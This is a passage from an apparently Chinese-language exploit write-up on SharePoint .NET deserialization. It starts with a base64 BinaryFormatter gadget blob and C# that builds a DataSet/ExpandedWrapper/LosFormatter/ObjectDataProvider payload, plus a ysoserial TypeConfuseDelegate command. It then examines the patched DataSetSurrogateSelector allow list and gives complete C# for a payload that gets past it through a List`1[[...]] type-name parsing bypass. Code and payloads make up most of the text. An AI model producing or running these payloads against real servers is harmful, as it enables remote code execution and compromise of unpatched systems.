Z2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL");
var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(LosFormatter), typeof(ObjectDataProvider));
dynamic wrapper = Activator.CreateInstance(wrapperType);
wrapper.ExpandedElement = losFormatter;
wrapper.ProjectedProperty0 = odp;
var listType = typeof(List<>).MakeGenericType(wrapperType);
dynamic list = Activator.CreateInstance(listType);
list.Add(wrapper);
DataTable dt = new DataTable("hehe");
dt.Columns.Add("pwn", listType);
dt.Rows.Add(list);
DataSet ds = new DataSet("somedataset");
ds.Tables.Add(dt);
using (MemoryStream memoryStream = new MemoryStream())
{
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(gzipStream, ds);
}
// 获取压缩数据并转换成 Base64 字符串
byte[] compressedData = memoryStream.ToArray();
string payload = Convert.ToBase64String(compressedData);
Console.WriteLine(payload);
}
}
}
}
其中LosFormatter.Deserialize反序列化的内容是TypeConfuseDelegate链子
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c winver -o base64
将生成的内容填入CompressData中

0x04 写在最后
在复现漏洞的时候,我并没有看到文章中所说的DataSetSurrogateSelector选择器,我猜测这个选择器是打了CVE-2020-1147的补丁。
https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-1147
0x05 DataSetSurrogateSelector选择器
在我打了补丁之后,发现之前的POC已经打不通了,在文章中很详细的给出了其过滤规则,
https://blog.viettelcybersecurity.com/sharepoint-toolshell/
利用了自写的BinarySerialization.Deserialize

先是利用了LimitingBinder做了限制
private sealed class LimitingBinder : SerializationBinder
{
// Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310
internal LimitingBinder(IEnumerable<Type> extraTypes)
{
this._allowedTypeMap = new TypeMap();
this._allowedTypeMap.Add(typeof(DataSet));
this._allowedTypeMap.Add(typeof(DataTable));
this._allowedTypeMap.Add(typeof(SchemaSerializationMode));
this._allowedTypeMap.Add(typeof(Version));
if (extraTypes != null)
{
foreach (Type type in extraTypes)
{
if (type != null && !(type == typeof(DataSet)) && !(type == typeof(DataTable)))
{
if (typeof(DataSet).IsAssignableFrom(type) || typeof(DataTable).IsAssignableFrom(type))
{
throw new ArgumentException("");
}
this._allowedTypeMap.Add(type);
}
}
}
}
这里可以看到拥有DataSet所以不需要关心,之后便会进入到DataSetSurrogateSelector选择器。
public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
{
Type type = obj.GetType();
Type baseType = type.BaseType;
if (type != typeof(DataSet) && type != typeof(DataTable) && !type.IsSubclassOf(typeof(DataSet)) && !type.IsSubclassOf(typeof(DataTable)))
{
return null;
}
SerializationInfo serializationInfo = new SerializationInfo(obj.GetType(), new FormatterConverter());
string @string = info.GetString("XmlSchema");
if (@string != null)
{
this._validator.ValidateXml(@string);
serializationInfo.AddValue("XmlSchema", @string);
}
string string2 = info.GetString("XmlDiffGram");
if (string2 != null)
{
this._validator.ValidateXml(string2);
serializationInfo.AddValue("XmlDiffGram", string2);
}
ConstructorInfo constructor = obj.GetType().GetConstructor(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, new Type[]
{
typeof(SerializationInfo),
typeof(StreamingContext)
}, null);
if (constructor != null)
{
constructor.Invoke(obj, new object[]
{
serializationInfo,
context
});
}
return obj;
}
这里会提取出SerializationInfo中的XmlSchema和XmlDiffGram,然后使用XmlValidator来验证信息。
// Token: 0x06000063 RID: 99 RVA: 0x00003A74 File Offset: 0x00001C74
private void ValidateXml(XDocument document)
{
foreach (XElement xelement in document.Descendants())
{
foreach (XAttribute xattribute in xelement.Attributes(Constants.MSD_DATATYPE_XName))
{
this.ValidateTypeIsAllowed(xattribute.Value);
}
foreach (XAttribute xattribute2 in xelement.Attributes(Constants.MSD_INSTANCETYPE_XName))
{
this.ValidateTypeIsAllowed(xattribute2.Value);
}
foreach (XAttribute xattribute3 in xelement.Attributes(Constants.MSD_EXPRESSION_XName))
{
this.ValidateExpressionIsAllowed(xattribute3.Value);
}
}
}
验证DataType、InstanceType、Expression不在允许列表中,XmlValidator就会抛出异常。
private void ValidateTypeIsAllowed(string fullTypeName)
{
TypeInAssembly typeInAssembly = TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);
if (!this.IsAllowedType(typeInAssembly.TypeNameText, typeInAssembly.AssemblyNameText))
{
this.ThrowInvalidTypeException(fullTypeName);
}
}
允许列表如下,
internal static class DefaultAllowList
{
// Token: 0x04000004 RID: 4
internal static Type[] Members = new Type[]
{
typeof(bool),
typeof(char),
typeof(sbyte),
typeof(byte),
typeof(short),
typeof(ushort),
typeof(int),
typeof(uint),
typeof(long),
typeof(ulong),
typeof(float),
typeof(double),
typeof(decimal),
typeof(DateTime),
typeof(DateTimeOffset),
typeof(TimeSpan),
typeof(string),
typeof(Guid),
typeof(SqlBinary),
typeof(SqlBoolean),
typeof(SqlByte),
typeof(SqlBytes),
typeof(SqlChars),
typeof(SqlDateTime),
typeof(SqlDecimal),
typeof(SqlDouble),
typeof(SqlGuid),
typeof(SqlInt16),
typeof(SqlInt32),
typeof(SqlInt64),
typeof(SqlMoney),
typeof(SqlSingle),
typeof(SqlString),
typeof(object),
typeof(Uri),
typeof(Color),
typeof(Point),
typeof(PointF),
typeof(Rectangle),
typeof(RectangleF),
typeof(Size),
typeof(SizeF)
};
}
是一些和RCE毫不相关的类型,这里我们注意到TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);会对传入的类型名称作解析。
// Token: 0x06000054 RID: 84 RVA: 0x000036C0 File Offset: 0x000018C0
public static TypeInAssembly ParseAssemblyQualifiedName(string assemblyQualifiedName)
{
assemblyQualifiedName = ((assemblyQualifiedName != null) ? assemblyQualifiedName.Trim() : null);
if (string.IsNullOrEmpty(assemblyQualifiedName))
{
throw new ArgumentOutOfRangeException("assemblyQualifiedName");
}
int num = 0;
for (int i = 0; i < assemblyQualifiedName.Length; i++)
{
char c = assemblyQualifiedName[i];
if (c != ',')
{
checked
{
switch (c)
{
case '[':
num++;
break;
case ']':
num--;
break;
}
}
}
else if (num == 0)
{
string typeName = assemblyQualifiedName.Substring(0, i).Trim();
string text = assemblyQualifiedName.Substring(i + 1);
string[] array = text.Split(new char[]
{
','
});
if (array[0].IndexOf('=') >= 0)
{
throw new ArgumentOutOfRangeException("assemblyQualifiedName");
}
for (i = 1; i < array.Length; i++)
{
string text2 = array[i].Trim();
if (!text2.StartsWith("Version=", StringComparison.Ordinal) && !text2.StartsWith("Culture=", StringComparison.Ordinal) && !text2.StartsWith("PublicKeyToken=", StringComparison.Ordinal))
{
throw new ArgumentOutOfRangeException("assemblyQualifiedName");
}
}
return new TypeInAssembly(typeName, new AssemblyName(text));
}
}
if (num != 0)
{
throw new ArgumentOutOfRangeException("assemblyQualifiedName");
}
Type type;
TypeNameParser._defaultSimpleNameMappings.TryGetValue(assemblyQualifiedName, out type);
type = (type ?? typeof(object));
return new TypeInAssembly(type.FullName, TypeNameParser.SimplifyAssemblyName(type.Assembly.GetName()));
}
在这里检查类型的时候,只会检查[]外边的部分,检查类型名称是否包含逗号,,然后提取类型名称并返回它。
但是当类型名称没有,或者在[]外面没有,的时候,会从_defaultSimpleNameMappings获取类型。如果在其中没有的话,则该类型将转换为object,而object是包含在允许的列表当中的。
因此我们可以通过XmlValidator。
所以我们可以构造
System.Collections.Generic.List`1[[<any type, any assembly name>]]
来绕过限制,因为System.Collections.Generic.List在mscorlib中,所以我们不需要指定程序集名称部分。
构造出最终的payload
using System;
using System.Data;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
public class Program
{
public static void Main()
{
CustomPayload customPayload = new CustomPayload();
byte[] binaryPayload;
using (MemoryStream ms = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(ms,customPayload);
binaryPayload = ms.ToArray();
}
string base64Payload = Convert.ToBase64String(CompressPayload(binaryPayload));
Console.WriteLine("--- 生成的 BinaryFormatter Base64 ---");
Console.WriteLine(base64Payload);
}
public static byte[] CompressPayload(byte[] payload)
{
using (MemoryStream memoryStream = new MemoryStream())
{
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
{
gzipStream.Write(payload, 0, payload.Length);
}
return memoryStream.ToArray();
}
}
}
[Serializable]
public class CustomPayload : ISerializable
{
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Data.DataSet));
info.AddValue("XmlSchema", "<xs:schema xmlns=\"\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" id=\"dataset\">\r\n <xs:element name=\"dataset\" msdata:IsDataSet=\"true\" msdata:UseCurrentLocale=\"true\">\r\n <xs:complexType>\r\n <xs:choice minOccurs=\"0\" maxOccurs=\"unbounded\">\r\n <xs:element name=\"test\">\r\n <xs:complexType>\r\n <xs:sequence>\r\n <xs:element name=\"pwn\" msdata:DataType=\"System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\" type=\"xs:anyType\" minOccurs=\"0\"/>\r\n </xs:sequence>\r\n </xs:complexType>\r\n </xs:element>\r\n </xs:choice>\r\n </xs:complexType>\r\n </xs:element>\r\n</xs:schema>");
info.AddValue("XmlDiffGram", "<diffgr:diffgram xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" xmlns:diffgr=\"urn:schemas-microsoft-com:xml-diffgram-v1\">\r\n <dataset>\r\n <test diffgr:id=\"Table\" msdata:rowOrder=\"0\" diffgr:hasChanges=\"inserted\">\r\n <pwn xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\r\n <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" >\r\n <ExpandedElement/>\r\n <ProjectedProperty0>\r\n <MethodName>Deserialize</MethodName>\r\n <MethodParameters>\r\n <anyType xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xsi:type=\"xsd:string\">{base64payload}</anyType>\r\n </MethodParameters>\r\n <ObjectInstance xsi:type=\"LosFormatter\"></ObjectInstance>\r\n </ProjectedProperty0>\r\n </ExpandedWrapperOfLosFormatterObjectDataProvider>\r\n </pwn>\r\n </test>\r\n </dataset>\r\n </diffgr:diffgram>");
}
}